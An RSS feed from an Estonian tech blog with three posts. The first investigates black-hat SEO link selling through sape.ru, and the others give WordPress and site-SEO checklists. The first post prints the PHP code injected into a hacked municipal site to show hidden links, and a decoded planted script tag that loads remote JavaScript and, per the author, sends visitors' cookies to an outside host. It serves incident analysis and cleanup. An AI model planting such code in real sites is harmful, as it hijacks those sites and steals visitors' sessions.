<?xml version="1.0" encoding="UTF-8"?> <rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" ><channel><title>Tehnokratt! &#187; netiturundus</title> <atom:link href="http://tehnokratt.net/category/netiturundus/feed/" rel="self" type="application/rss+xml" /><link>http://tehnokratt.net</link> <description>õpib ise ja õpetab edasi, vahel ka tagasi</description> <lastBuildDate>Tue, 13 Mar 2012 09:40:42 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" /> <item><title>optim, lingibörsid ja must SEO</title><link>http://tehnokratt.net/2011/10/optim-lingiborsid-ja-must-seo/</link> <comments>http://tehnokratt.net/2011/10/optim-lingiborsid-ja-must-seo/#comments</comments> <pubDate>Wed, 26 Oct 2011 14:25:06 +0000</pubDate> <dc:creator>Peeter Marvet</dc:creator> <category><![CDATA[cybercrime]]></category> <category><![CDATA[netiturundus]]></category> <category><![CDATA[spämm]]></category> <category><![CDATA[turvalisus]]></category> <category><![CDATA[blackhat]]></category> <category><![CDATA[optim]]></category> <category><![CDATA[seo]]></category><guid isPermaLink="false">http://tehnokratt.net/?p=34438</guid> <description><![CDATA[Pealtnägija 26.10.2011 lugu lingibörsi abil SEO-teenust pakkuvast firmast Optim Technology väärib veidi pikemat taustaselgitust &#8211; nii sisulises kui tehnilises mõttes (mh sai tutvutud saates mainitud vallaveebi häkiga seestpoolt ja aidatud neil pättvara veebist eemaldada). Lühike sisuline sünops on järgnev: Optim Technology nimeline seltskond pakub väidetavalt oma SEO-laboris väljatöötatud lahendust aitamaks saitidel skoorida Google’is jt otsimootorites [...]]]></description> <content:encoded><![CDATA[<p>Pealtnägija 26.10.2011 lugu lingibörsi abil SEO-teenust pakkuvast firmast Optim Technology väärib veidi pikemat taustaselgitust &#8211; nii sisulises kui tehnilises mõttes (mh sai tutvutud saates mainitud vallaveebi häkiga seestpoolt ja aidatud neil pättvara veebist eemaldada).</p><p>Lühike sisuline sünops on järgnev:</p><ul><li>Optim Technology nimeline seltskond pakub väidetavalt oma SEO-laboris väljatöötatud lahendust aitamaks saitidel skoorida Google’is jt otsimootorites</li><li>Tegelikult kasutatakse selleks lingibörse (vallaveebi juhtumi puhul venelaste sape.ru) ehk teenuseid, mis võimaldavad ühel poolel paigutada veebi tekstilinkide müümise koodi ja teisel poolel neisse veebidesse linke osta</li><li>Lingibörsidesse on sisse ehitatud mh pidev monitooring, nt kui Google võtab linke müünud saidi oma indeksist maha peatub automaatselt reklaam/rahavoog jne &#8211; ehk kõik mänguosalised on teadlikud, et otsimootorid peavad sellist tegevust lubamatuks ning tegelevad igapäevaselt aktiivse kassi-hiire-mänguga</li><li>Lingibörsi kood satub veebidesse mitmel moel &#8211; leidub pisemate saitide omanikke kes kasutavad võimalust raha teenida (mh on suht mõttetu sisuga liiklust suunavate minisaitide pidamine täiesti eraldi tegevusvaldkond SEO-maailmas), on veebimeistreid kes klientide teadmata nende veebe ära kasutavad &#8211; ja lisaks on hea äri-idee häkkida massiliselt veebisaitidesse pannes need linke kuvama</li><li>Vaadates Optimi ja nende klientide sape.ru börsilinke paistab, et .ru puhul on tegemist peamiselt linke müüvate veebidega ja mitte-.ru puhul häkitud saitidega &#8211; muuhulgas jäi silma, et samal päeval (öösel) saates mainitud vallaveebiga on täpselt sama kood lisatud ka ühte hispaaniakeelsesse veebi ehk tegu on olnud <em>business-as-usual</em> häkkeriga kes tõenäoliselt hankis endale veidike FTP-paroole ja asus nende abil raha teenima (vaadates vallaveebi logisid pakun, et häkker on pärit vene/ukraina suunalt)</li></ul><p>Pärast Pealtnägija intervjuud on Optim lisanud oma veebi tööriista mis peaks aitama leida veebilehele peidetud spämm-linke ning deklaratsiooni:</p><p style="padding-left: 30px;">Optim Technology eksperimenteerib aktiivselt rahvusvaheliste tehnoloogiatega, mis hõlmavad ka lingibörside kasutamist. Samas soovime, et linkide müük Eesti Vabariigis toimuks 100% seaduslikel alustel. Pole midagi halba selles, kui koduleht osaleb lingibörsidel lehe omaniku soovil ning teenides omanikule lisatulu. Samuti tuleks sellisel viisil teenitud tulult maksta ka seadustega määratud maksud.</p><p>Paraku on Optim kas jätnud lugemata Google’i veebimeistritele mõeldud <a href="http://www.google.com/support/webmasters/bin/answer.py?answer=35769#3">Quality guidelines</a>’i (ehk nad ei jaga SEO’st ööd ega mütsi, milles ma sügavalt kahtlen) või eksitab tahtlikult oma kliente &#8211; sest vägagi selge sõnaga on seal öeldud nii:</p><p style="padding-left: 30px;">Avoid tricks intended to improve search engine rankings. A good rule of thumb is whether you&#8217;d feel comfortable explaining what you&#8217;ve done to a website that competes with you. Another useful test is to ask, &#8220;Does this help my users? Would I do this if search engines didn&#8217;t exist?&#8221;</p><p style="padding-left: 30px;">Don&#8217;t <a href="http://www.google.com/support/webmasters/bin/answer.py?answer=66356">participate in link schemes</a> designed to increase your site&#8217;s ranking or PageRank. In particular, avoid links to web spammers or &#8220;bad neighborhoods&#8221; on the web, as your own ranking may be affected adversely by those links.</p><p>Tegemist ei ole muideks mingi uue teemaga, näiteks jääb kiire guugeldamisega näppu Matt Cutts’i postitus aastast 2005 <a href="http://www.mattcutts.com/blog/text-links-and-pagerank/">Text links and PageRank</a> - ehk Google tegeleb aktiivselt sellega, et tabada müüdud linke ning vältida nende arvestamist otsitulemuste järjestamisel.</p><p>Olgu lisatud, et peidetud linkide avastamisel saab linkiv sait nipsti indeksist kinga &#8211; näiteks sattusin ma 2009-suvel mõnede Eesti saitide peale mille sappa oli neid haldav veebimeister lisanud lingid parim-ee kataloogi alamlehtedele. Palusin saidi-omanikul lisada lehele Google Webmasters Tool&#8217;i tuvastuskoodi ja sain peagi näha järgmist teadet (kuna veebimeister on vahepeal vahetunud peidan saidi nime):</p><p><a href="http://tehnokratt.net/misc/google-index-removal.png"><img class="aligncenter size-large wp-image-34439" title="Page removed from index" src="http://tehnokratt.net/misc/google-index-removal-600x373.png" alt="" width="600" height="373" /></a></p><p>Ja otseloomulikult pole Google’i poliitikas midagi erakorralist, ka kõik teised otsimootorid näevad vaeva pakkumaks “orgaanilisi” tulemusi &#8230; ja kes mõistab venet võib vaadata (arvatavasti autorikaitse eesmärgil suvaliste klipijuppidega pikitud) intervjuud <a href="http://www.youtube.com/watch?v=dm7XnNHfgVo">Война между Яндекс и биржой ссылок sape.ru</a> kus viimase tehnikapealik selgitab süsteemi tööd. Muideks &#8211; isegi Optimi ärimudel “arve ainult toimiva positsioneerimise eest” ei ole unikaalne vaid lingibörsi-vahenduse vallas pigem tavapärane.</p><p>Tänu tegelastele nagu sape.ru ja selliste teenuste pisivahendajatele nagu Optim saavad kasutajad otsitulemusi mis ei vii neid mitte parima kliendireputatsiooniga ettevõtte juurde vaid seltskonda keda ei häiri ebaeetiline turundus kanalites mille peamiseks kasutajaks tunduvad olema saidid stiilis asian-t33n-pr0n-com ja russian-mail-order-brides-co-uk.</p><p>Septembri algul teemaga tegeledes jäi silma näiteks selline valik Eesti ettevõtete domeene mis kasutasid sape.ru börsi teenust (samadel saitidel oli ka Optimi enda linke miska tundub, et tegemist on nimelt nende klientide ja mitte omal-käel-üritajatega): aknauksemaailm-ee, sfinksehitus-ee, kodusisu-ee, call-ee, veebiabi-ee, planb-ee, lenovo-ee, ereal-ee, kauponline-ee, uksetehas-ee, gidrocity-ee. <a href="http://www.youtube.com/watch?v=jg7OhBiqTUc">Pealtnägija tarbeks tehtud helita kattevideo otsimisest, leidmisest ja peidetud linkidest leiab siit</a>.</p><p>Kui leiad siit nimekirjast oma konkurendi (või lihtsalt on veidi aega üle) siis soovitan teha otsing stiilis <a href="http://www.google.ee/search?q=link%3Auksetehas.ee">link:uksetehas.ee</a> ning seejärel astuda läbi <a href="https://www.google.com/webmasters/tools/paidlinks?pli=1&amp;hl=en">Google Webmaster Tools all olevast Report paid links</a> tööriistast (eeldab sisselogimist) ning täita vorm.</p><p>Nüüd aga tiba tehnilisemaks &#8211; kuidas siis asi käib? Hea ülevaate linkide ostmisest SAPEs annab nende enda õppevideo <a href="http://vimeo.com/23869111">http://vimeo.com/23869111</a> ja tõepoolest, tegemist on väga vinge tööriistaga mis muuhulgas võimaldab otsida sobilikke saite lähtuvalt märksõnadest ja pagerank’ist, hallata keerulisi kampaaniad ning kontrollida ostetud linkide toimimist.</p><p>Veebimeistri jaoks on olemas õpetused kõigi tuntud sisuhalduslahenduste jaoks &#8211; reeglina PHP-kood mis suhtleb SAPE serveriga, hangib sealt värksed lingid ning siis kuvab need veebilehel sobilikus kohas. Kood sokutatakse sisuhalduses mõnda vähekäidavasse nurgatagusesse ja näiteks Lasva valla veebi puhul pöördus selle poole jupike Typo3 index.php sabas:</p><pre class="brush: php; title: ; notranslate">
$sp_script = $_SERVER['DOCUMENT_ROOT'].'/fileadmin/tv-templates/template1/images/401.php';
$style=&quot;&lt;style type=\&quot;text/css\&quot;&gt;\nhtm, bod {\n\tpadding: 0;\n\tmargin: 0;\n\theight: 100%;\n}\n\n&quot;;
$style.=&quot;#sp, #sp a {\n\tfont-size: 9px;\n\tcolor: #E8E8E8;\n\tborder-bottom: none;\n\tclear: both;\n}\n&lt;/style&gt;\n\n&quot;;
while(is_integer(strpos($contents,&quot;&lt;a &quot;)) &amp;&amp; is_integer(strpos($contents,&quot;&lt;/a&gt;&quot;)))
{
$new_contents.=substr($contents,0,strpos($contents,&quot;&lt;a &quot;));
$contents=substr($contents,strpos($contents,&quot;&lt;a &quot;));
$ahref = substr($contents,0,strpos($contents,&quot;&lt;/a&gt;&quot;)+4);
$contents=substr($contents,strpos($contents,&quot;&lt;/a&gt;&quot;)+4);
if (!strpos($ahref,&quot;href=\&quot;http://&quot;.$_SERVER['HTTP_HOST']) &amp;&amp; !strpos($ahref,&quot;href=\&quot;&lt;a href=&quot;http://www&quot;&gt;http://www&lt;/a&gt;.&quot;.$_SERVER['HTTP_HOST']) &amp;&amp; !strpos($ahref,&quot;href='http://&quot;.$_SERVER['HTTP_HOST']) &amp;&amp;
!strpos($ahref,&quot;href='&lt;a href=&quot;http://www&quot;&gt;http://www&lt;/a&gt;.&quot;.$_SERVER['HTTP_HOST']) &amp;&amp; strpos($ahref,&quot;http&quot;))
{ $ahref=str_replace(&quot;&lt;a &quot;,&quot;&lt;noindex&gt;&lt;a &quot;,$ahref); $ahref=str_replace(&quot;&lt;/a&gt;&quot;,&quot;&lt;/a&gt;&lt;/noindex&gt;&quot;,$ahref);$ahref=str_replace(&quot;&lt;\\/a&gt;&quot;,&quot;&lt;\\/a&gt;&lt;/noindex&gt;&quot;,$ahref); }
$new_contents.= $ahref;
}
$new_contents.=$contents;
if (strpos($new_contents,&quot;&lt;/body&gt;&quot;) &amp;&amp; strpos($new_contents,&quot;&lt;/head&gt;&quot;))
{
$new_contents = str_replace(&quot;&lt;/head&gt;&quot;,$style.&quot;&lt;/head&gt;&quot;,$new_contents);
$new_contents = str_replace(&quot;charset=iso-8859-1&quot;,&quot;charset=utf-8&quot;,$new_contents);
$new_contents = str_replace(&quot;charset=ISO-8859-1&quot;,&quot;charset=UTF-8&quot;,$new_contents);
echo substr($new_contents,0,strpos($new_contents,&quot;&lt;/body&gt;&quot;));
require_once($sp_script);
echo substr($new_contents,strpos($new_contents,&quot;&lt;/body&gt;&quot;));
}
else { echo $new_contents; }
</pre><p>Nagu näha lisatakse saidi enda linkidele ühtlasi noindex vältimaks väärtusliku “lehemahla” lahjendamist mitte-börsi linkide poolt. Väga kaunis ja professionaalne :-)</p><p><a href="http://www.youtube.com/watch?v=Tj0ZlM3O0iI">Pealtnägija jaoks tehtud teises kattevideos</a> soovitaks aga eraldi vaadata kohta mis algab ca 1:20 peal &#8211; seal on näha konkreetse lingibörsikasutaja kood ning kui seda guugeldada tuleb välja üks hispaaniakeelne sait &#8230; mis on juhtumisi saanud endale börsikoodi samal päeval Lasva veebiga ehk 08.11.2010:</p><p><a href="http://tehnokratt.net/misc/hack-11-nov.png"><img class="aligncenter size-full wp-image-34446" title="hack-11-nov" src="http://tehnokratt.net/misc/hack-11-nov.png" alt="" width="442" height="309" /></a></p><p>Sarnast SAPE-linkide märgendust ehk &lt;div id=&#8217;sp&#8217;&gt; hakkas silma veel mitmes saidis, enamus neist Dreamhost’i all:</p><ul><li>go.org.nz 69.163.150.4 apache2-udder.brewers.dreamhost.com</li><li>www.lgc.org 69.163.167.250 apache2-emu.reds.dreamhost.com</li><li>datingfoundry.com 69.163.185.120 apache2-linus.yaounde.dreamhost.com</li><li>www.sumaqperu.com 69.163.204.191 apache2-fritz.suva.dreamhost.com</li><li>www.gundaroobushfestival.org.au 69.163.179.108 apache2-prance.vikings.dreamhost.com</li><li>www.bogotabiketours.com  69.163.172.12 apache2-adamant.bulls.dreamhost.com</li><li>escuelasinestres.org 69.163.203.250 apache2-emu.sansalvador.dreamhost.com</li><li>cnuny.org 188.120.245.97 heyhosting.com</li><li>eutcartagena.es 212.36.82.107 fnhca-29.srv.cat</li></ul><p>Tiba erinev tehnoloogia ehk teksti sisse pikitud lingid jäid silma saitides:</p><ul><li>forestig.com</li><li>macyscoffee.com</li><li>www.punjabjustice.org</li></ul><p>Kohvi-saidist leiab muideks keset ajalooteksti lingi veebiabi-ee peale&#8230; ja tellimise lehelt Optimi enda taanikeelse saidi promo:</p><p><a href="http://tehnokratt.net/misc/veebiabi-spamlink.png"><img class="size-medium wp-image-34440 alignnone" title="veebiabi-spamlink" src="http://tehnokratt.net/misc/veebiabi-spamlink-300x229.png" alt="" width="300" height="229" /></a> <a href="http://tehnokratt.net/misc/optim-spamlink.png"><img class="alignnone size-medium wp-image-34441" title="optim-spamlink" src="http://tehnokratt.net/misc/optim-spamlink-300x83.png" alt="" width="300" height="83" /></a></p><p>Päris alati ei pruugi saidi häkkimine aga peidetud tekstilinkidega piirduda &#8211; sattusin peale ka sellisele saidile nagu www.campnuhop.org kus lehesabas olev kood nägi välja palju huvitavam:</p><p><a href="http://tehnokratt.net/misc/campnuhop-malware.png"><img class="aligncenter size-large wp-image-34442" title="campnuhop-malware" src="http://tehnokratt.net/misc/campnuhop-malware-600x267.png" alt="" width="600" height="267" /></a>See pikk liitmistehe annab tulemuseks uue koodjupi:</p><pre class="brush: jscript; title: ; notranslate">
&lt;script src=&quot;http://sbdtds.com/acounter.js?r=&amp;c=&amp;i=bc193015995f14dc4cefc81636413366a&amp;h=campnuhop&quot;&gt;&lt;/script&gt;
</pre><p>Nagu näha (<a href="http://www.youtube.com/watch?v=TPyV5KHbyWg">vaata kasvõi kattevideo liikuvad pilti</a>) käivitatakse kasutaja brauseris javascript mille alla-laadimise käigus teavitatakse serverit muuhulgas kasutusel olevast brauserist&#8230; ja see c= parameeter sisaldanuks saidi cookie&#8217;t (mis võimaldaks mh tulevikus minuna sisse logida) ning r= refereri (ehk kuidas kasutaja laagri lehele tuli). Vot nii.</p><p>Kes oskab ja tahav kaevab (või kaebab) edasi, mina nüüd jälle jupp aega meedias ei esine (see siin oli lihtsalt liiga huvitav juhtum &#8211; olen nimelt mõnda aega pisteliselt peidetud linkide teemaga kokku puutunud ning aidanud veebe puhastada / turvaintsidente lahendada; lisaks mainis Mihkel Kärmas mulle teemat kohas mille veebis ma 2009-suvel esimest korda peidetud linkidega kokku puutusin &#8230; ning ma lihtsalt ei saanud jälgida oma head tava anda veidi taustainfot ja siis ajakirjanik pikalt saata; jamuideks, guugeldage veidi ja tekib tunne, et ka Optimi taga on PR- ja ajakirjandusteaduskonna lõpetanud :-).</p> ]]></content:encoded> <wfw:commentRss>http://tehnokratt.net/2011/10/optim-lingiborsid-ja-must-seo/feed/</wfw:commentRss> <slash:comments>37</slash:comments> </item> <item><title>wordpress kui sisuhaldus</title><link>http://tehnokratt.net/2009/12/wordpress-kui-sisuhaldus/</link> <comments>http://tehnokratt.net/2009/12/wordpress-kui-sisuhaldus/#comments</comments> <pubDate>Thu, 10 Dec 2009 04:58:14 +0000</pubDate> <dc:creator>Peeter Marvet</dc:creator> <category><![CDATA[netiturundus]]></category> <category><![CDATA[wordpress]]></category><guid isPermaLink="false">http://tehnokratt.net/?p=259</guid> <description><![CDATA[Mul on viimasel ajal tavaks soovitada igat masti veebivajaduste rahuldamiseks WordPressi ja sellega käib paratamatult kaasa vajadus vastata küsimusele &#8220;a kes teeks?&#8221;. Eks me kõik ole ju midagi natuke pusinud ja üks blogimootor ei saa väga keeruline olla&#8230; aga tuleb välja, et ma olen ära harjund Dreamhost&#8217;i standardinstalliga mis lisab hulga vajalikke pluginaid (mida ma [...]]]></description> <content:encoded><![CDATA[<p>Mul on viimasel ajal tavaks soovitada igat masti veebivajaduste rahuldamiseks WordPressi ja sellega käib paratamatult kaasa vajadus vastata küsimusele &#8220;a kes teeks?&#8221;. Eks me kõik ole ju midagi natuke pusinud ja üks blogimootor ei saa väga keeruline olla&#8230; aga tuleb välja, et ma olen ära harjund Dreamhost&#8217;i standardinstalliga mis lisab hulga vajalikke pluginaid (mida ma automaatselt oma lemmikutega täiendan), põhjadega mille autorid kasutavad widgeteid ja on näinud ette vajadust teha erifunktsionaalsusega alamlehti&#8230; ja ma olen õppinud selgeks XML-RPC API kasutamise, et tuua üle sisu nt vanast veebist.</p><p>Ja selle käigus on hakanud tekkima <em>checklist</em> asjadest mida peaks ühtemoodi mõistma. List täieneb ajas ja kommentaarid/soovitused teretulnd, samuti nagu viited firmade/gurude kohta Eestis kes võiksid asju sedamoodi teha (eneseahaipimine lubatud).</p><ul><li>WP install peab suutma ennast ja pluginaid adminn-paneelilt uuendada</li><li>WP install peab olema turvaline (ma ei pea ju siia linkima <a href="http://codex.wordpress.org/Hardening_WordPress">seda</a>?)</li><li>minu <a href="http://reklaam-turundus.net/opetused/wordpressi-vidinad/">wordpressi vidinate</a> standardvaliku leiab siit ja ma üllatun pahasti, kui neid pole (vahest peaks midagi lisama/muutma?)</li><li>keelevahetust teeb <a href="http://wpml.org">WPML</a> (või on parem pakkumine?)</li><li>template kasutab widgeteid, evib alamlehtede stiile, on üldküsimustes SEO-optimeeritud (kui hästi läheb saab seadetest panna paika olulisemad seadistused ning all-in-one-seo pluginat pole vaja)</li><li>template tegija on suutnud leida praktilised rakendused rubriikidele, tagidele, linkidele, postitustele ja lehtedele</li><li>template tegija on mõelnud kaugemale üldisest kujundusest ja mul on postituse sees kasutada läbimõeldud tüpograafia &#8211; alapealkirjad, munadega listid, väljatõstega tsitaadid jms</li><li>&#8230; ja loomulikult on koodi vaadates näha, et wp codex on ammu läbi loetud &amp; mõistetud mis saab teha sandardvahenditega ja mis tuleb pista oma functions.php&#8217;sse</li></ul><p>Misveel? Ma olen hetkel seda usku, et hea põhja saamiseks on sageli mõtet alustada tasulisest e premium-template&#8217;ist mis enam-vähem eesmärgiga sobib (kuigi kindlasti võib leida ka kommunaalselt aretatud võimekaid põhju, nt blogiformaadi puhul getk2.com) ja seda vajadust mööda timmida (kuna olen sattunud Brian Gardneri fänniks siis pean loomulikuks, et kujundusega tuleb kaasa layeritega originaal-PSD ja foorum kus nõu küsida/bugisid raporteerida).</p> ]]></content:encoded> <wfw:commentRss>http://tehnokratt.net/2009/12/wordpress-kui-sisuhaldus/feed/</wfw:commentRss> <slash:comments>27</slash:comments> </item> <item><title>url wide web</title><link>http://tehnokratt.net/2009/11/url-wide-web/</link> <comments>http://tehnokratt.net/2009/11/url-wide-web/#comments</comments> <pubDate>Fri, 06 Nov 2009 14:35:38 +0000</pubDate> <dc:creator>Peeter Marvet</dc:creator> <category><![CDATA[netiturundus]]></category><guid isPermaLink="false">http://tehnokratt.net/?p=247</guid> <description><![CDATA[Vahel ikka küsitakse &#8220;mis sa meie veebist arvad&#8221; &#8211; mõnikord raha eest, teinekord niisama jutu jätkuks. Ja mul on üks lihtne checklist mille ma kribinal-krabinal läbi käin&#8230; mispeale tuleb välja, et ma olen vist seltskonnas veebiarendaja+klient+mina ainus kellel see varuks on ning edaspidi vajub teema kiiresti kokku või siis tuleb hakata kliendi raha eest arendajale [...]]]></description> <content:encoded><![CDATA[<p>Vahel ikka küsitakse &#8220;mis sa meie veebist arvad&#8221; &#8211; mõnikord raha eest, teinekord niisama jutu jätkuks. Ja mul on üks lihtne <em>checklist</em> mille ma kribinal-krabinal läbi käin&#8230; mispeale tuleb välja, et ma olen vist seltskonnas veebiarendaja+klient+mina ainus kellel see varuks on ning edaspidi vajub teema kiiresti kokku või siis tuleb hakata kliendi raha eest arendajale selgeks tegema mis ja kuidas. Ega mul raha vastu suurt midagi olegi ning isegi mehine i&#8217;tähh on kehval ajal toeks, aga töö on umbes sama produktiivne nagu k-reisisaatjal ning see on mõnevõrra masendav võrdlus. Lisaks peaks kuidagi kodumaist produktiivsust tõstma ning seda võiks teha ka muudest vahenditest kui tööjõukulude kokkutõmbamine.</p><p><em>Checklist</em> ise on üldjoontes järgnev, sekka mõned selgitused (sellises&#8230; <em>rants&amp;raves</em> stiilis, andmaks edasi tundeid mis järjekordse samu vigu kordava veebi kohtamisel tekivad):</p><ul><li>kas Google Analytics on olemas? (viitab sellele, et vähemalt teoorias on keegi huvitatud veebi efektiivsusest)</li><li>kas Eesti otsimootorite tugi on lisatud? (see kes GA koodi lisas mõtles veidi selle peale, mida klient sealt statistikast ka vaadata võiks)</li><li>ega ometi pole lisatud kõiki Eesti otsimootori-laadseid saite? (see kes GA koodi lisas on kunagi ka ise GA&#8217;sse vaadanud ja teab, et peale neti.ee statistiliselt olulisi kohalikke otsimootoreid pole; tõsi, mõned 1182-tüüpi saidid võivad olla lisatud soovist tõestada nende mittetoimivust &#8211; sellisel puhul võiks arvata, et saidiomanik on selle teemaga ka kurssi veetud ning teeb kataloogi-müügimehele kiirelt tuule alla ja oskab mulle seda protsessi ka (kahju)rõõmsalt kirjeldada)</li><li>kas &lt;title&gt; sisaldab ainult saidi/firmanime kõigil lehtedel (kui jah siis pole arendaja eladeski hoidnud korraga lahti mitut brauseriakent)</li><li>kas &lt;title&gt; küll erineb lehelt lehele, aga koosneb jadast slogan &#8211; firmanimi &#8211; rubriik &#8211; rubriik -rubriik &#8211; lehepealkiri (arendaja pole eladeski vaadand kuidas see Googles välja näeb, titlet kuvatakse ca 55tm; tõsi, selline title lubab GA&#8217;s title järgi lehti sortida, aga veebi ei tehta ainult analüütika jaoks)</li><li>kas &lt;title&gt; on midagi stiilis lehepealkiri &#8211; rubriik &#8211; firmanimi (tubli, luurele küll veel ei läheks aga vähemalt õlled võiks teha)</li><li>&lt;title&gt; vähesed tähemärgid on tõlgendatavad kui antud alamlehe slogan (see eeldab juba mootori võimalusi + kliendi/sisutoimetaja pädevust; õlled minu poolt, pärast võib veidi luurata kah, aga soovitavalt oma tagalas)</li><li>meta description puudub (pole implementeeritud, võib olla erinevaid põhjuseid)</li><li>meta description olemas aga tühi või sama mis keywords vms imelik, läbi saidi (arendaja pole pihta saanud mida selle välja sisuga tehakse, loeb nt http://googlewebmastercentral.blogspot.com/2007/09/improve-snippets-with-meta-description.html &#8211; rõhutatult aastaarvuga URL - ja teeb mulle seejärel kiiresti õlled välja)</li><li>meta description olemas ja moodustab &lt;title&gt; slogani juurde täiendava kutsuva teksti (õlled minult, heameelega arutaks kuidas selline areng mõjutas Google Webmaster Tools&#8217;is nähtavat mitte-esikoha-sõnade klikitavust ja piiluks numbreid)</li><li>meta keywords &#8211; vt Priidu juurde ja sealt kommentaaridest minu lugemissoovitusi http://www.dreamgrow.ee/2918-keyword-metatagi-pole-vaja</li><li>id=123 asemel on kasutusel inimloetvad URLid (tubli!)</li><li>inimloetavad URLid toimivad ilma ilmselgete probleemideta läbi saidi, ei tekita erinevatel URLidel serveeritavat sisu või kui tekitavad siis on see probleem rel=canonical abil taandatud</li><li>inimloetavad URLid on kenasti /keel/üldisem/täpsem-alajaotus, ei pruugi päris täpselt vastata lehe pealkirjale aga on ilmselgelt läbimõeldud (ning arendaja ülteb seda listi kliendile näidates &#8220;kusjuures kui te URLi muudate hakkab vana automaatsele 301-redirectima uue peale&#8221;, tõsi veidi arusaadavamas keeles; õllede kõrvale on valmis arutlema Jon Udelli loo http://blog.jonudell.net/2009/08/31/the-joy-of-webscale-identifiers üle ning ei jäta mainimata, et luges juba aastal 2004 ka sealviidatud Tom Coates&#8217;i postitust ning noogutas elavalt kaasa)</li><li><span style="background-color: #ffffff; ">kui URL pole inimloetav ja mõistliku hierarhiaga a la /keel/rubriik/artikli-pealkiri siis on see vähemalt antud kampa _trackpageview&#8217;ga (kui pole siis ilmselgelt pole arendaja kunagi pidanud käsitsi tegema hiinlase tööd ja kontrollima mis on need 50 enimkülastatud lehte, 50 <em>landingpage</em>&#8216;i, 50 <em>exitpage</em>&#8216;i jne)</span></li><li><span style="background-color: #ffffff; ">lehekülje print-versioonid ei      tule otsimootoris välja eespool päris-lehekülgi (siiski: 0.1 punkti ehk      lahja keefiri saab arendaja kirja juhul, kui kuvatav print-lehekülg on      korraga printimiseks sobilik ja samas lingib nt logoga tagasi      päris-lehele)</span></li><li><span style="background-color: #ffffff; ">pealkirjad on kenasti tähistatud h1&#8230;h6 abil (abiks nii otsimootorile kui nägemispuudega inimeste ekraanilugejatele)</span></li><li><span style="background-color: #ffffff; ">mitmekeelse lehe puhul lingib      X-keelne alamleht keele-valikust kenasti Y-keelsele samasisulisele lehele      (eeldusel, et see on juba loodud)</span></li><li><span style="background-color: #ffffff; ">robots.txt olemas, ei keela nimme või kogemata kogu saidi indekseerimist, viitab sitemap.xml&#8217;ile</span></li><li><span style="background-color: #ffffff; ">sitemap.xml on olemas, automaatselt genereeritud, adekvaatne</span></li><li><span style="background-color: #ffffff;">vaadates Google Analyticsisse on näha, et sisevõrk on <em>excluded</em> (sageli on 20% liiklusest omad; tõsi kohati nt väga suure firma puhul võib olla vaja ka seda uurida miska parem takkajärgi segmenteerida, suurtel niikuinii omanimiline IP-vahemik)</span></li><li><span style="background-color: #ffffff;">ja vot siis on eriti tore veel vaadata ka Google Webmaster Tools&#8217;i (ja mitte näha seal teadet, et veeb on indeksist eemaldatud kuna veebimeister/majutaja on sinna pistnud varjatud linke stiilis parim-ee-pesumasinad)</span></li></ul><p>Nimekiri pole mõistagi lõplik ning hinnangud kaugeltki absoluutsed &#8211; aga annab üsna tõese pildi masendavast olukorrast. A la üle 100kg, armastab õlut ja seapraadi, suitsetab, ei liigu = kõrge südame-veresoonkonna haiguste risk.</p><p>Kes tahab vähemnorivat nimekirja võib ette võtta Google&#8217;i õpetuse <a href="http://www.google.com/webmasters/docs/search-engine-optimization-starter-guide.pdf">Search Engine Optimization Starter Guide</a>, sisaldab korraga nii viiteid tehnilistele lahendustele kui illustreerivaid näiteid ja peaks olema loetav ka veebisaidi tellijale. Arendaja võiks aga ette võtta ühe hoopis teisel eesmärgil kirjutatud teksti: <a href="http://www.w3.org/TR/2008/NOTE-WCAG20-TECHS-20081211/html.html">HTML and XHTML Techniques for WCAG 2.0</a> räägib sellest kuidas muuta veeb kasutatavaks ka puuetega inimestele (mis on muideks vähemalt riigiasutuste puhul ka kohustuslik), aga enamus seal kirjas olevast sobib kenasti ka otsimootorite aitamiseks.</p> ]]></content:encoded> <wfw:commentRss>http://tehnokratt.net/2009/11/url-wide-web/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 1/15 queries in 0.014 seconds using disk: basic
Object Caching 443/462 objects using disk: basic

Served from: tehnokratt.net @ 2012-05-21 19:14:12 -->
